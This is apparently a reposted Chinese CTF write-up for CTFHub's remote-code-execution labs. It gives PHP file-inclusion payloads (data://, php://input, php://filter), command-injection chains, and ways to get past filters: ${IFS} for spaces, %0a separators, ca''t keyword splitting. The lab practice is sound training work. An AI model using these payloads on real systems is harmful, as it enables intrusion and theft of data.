1. 程式人生 > 其它 >ctfhub-rce

ctfhub-rce

檔案包含

參考:php手冊php偽協議總結

PHP手冊對於偽協議的說明:PHP 帶有很多內建 URL 風格的封裝協議,可用於類似 fopen()、 copy()、 file_exists() 和 filesize() 的檔案系統函式。 除了這些封裝協議,還能通過 stream_wrapper_register() 來註冊自定義的封裝協議。

遠端包含

直接可以看到phpinfo

payload1:http://challenge-a2bc2ac121d2c7d6.sandbox.ctfhub.com:10800/?file=data://text/plain,<?php eval(system('cat /f***')

);?%3E
payload2:http://challenge-a2bc2ac121d2c7d6.sandbox.ctfhub.com:10800/?file=php:%2F%2Finput+POST[<?php eval(system('cat /flag'));?>]

讀取原始碼

這裡ban掉了input
根據提示可以用的是filter
payload:http://challenge-c8349ae3b7d20f76.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag

php://input

payload:

http://challenge-d360a0a280f4e573.sandbox.ctfhub.com:10800/?file=php:%2F%2Finput+POST[<?php eval(system('cat /flag_5808'));?>]

命令注入

payload1:www.baidu.com&lswww.baidu.com;ls 這裡也嘗試了www.baidu.com&&ls但是不成功,說明Ping命令並沒有成功執行
payload2:www.baidu.com&cat 15202220126935.php|base64www.baidu.com||cat 15202220126935.php|base64


知識點:linux shell裡面 1.單個&符號表示將命令放於後臺執行2.;分號可以執行多個命令,不用管按順序前面的命令是否執行成功3.單|符號是將前面的命令的輸出作為後面命令的輸入4.雙||符號就是邏輯或,執行多個命令中按順序成功執行一個

禁用cat

淺淺總結一下可以代替cat的命令:tac,more,less,nl,head,tail
我只試了tac沒問題

禁用空格

淺淺總結一下可以替代空格的字元:<>,<,${IFS},$IFS$9
試了一下${IFS}可以

過濾目錄分隔符

思路是過濾了/就不用/ 。。。
payload:;cd flag_is_here&&cat flag_11523460732192.php

過濾了|&

思路就是過濾了就不用
payload:?ip=%3Bcat+flag_323732830325376.php#

綜合

payload:?ip=%0acd%09*is_here%0ac%5cat%09*_24882959527937.php
看了wp學到了用%0a或者%0d或者%0d%0a繞過分隔符,檔案前的空格也可以用%09 然後對應關鍵字可以單引號單引號繞過過濾,如ca''t,或者\(也可以嘗試使用來繞過關鍵字,或者%5c(也是\)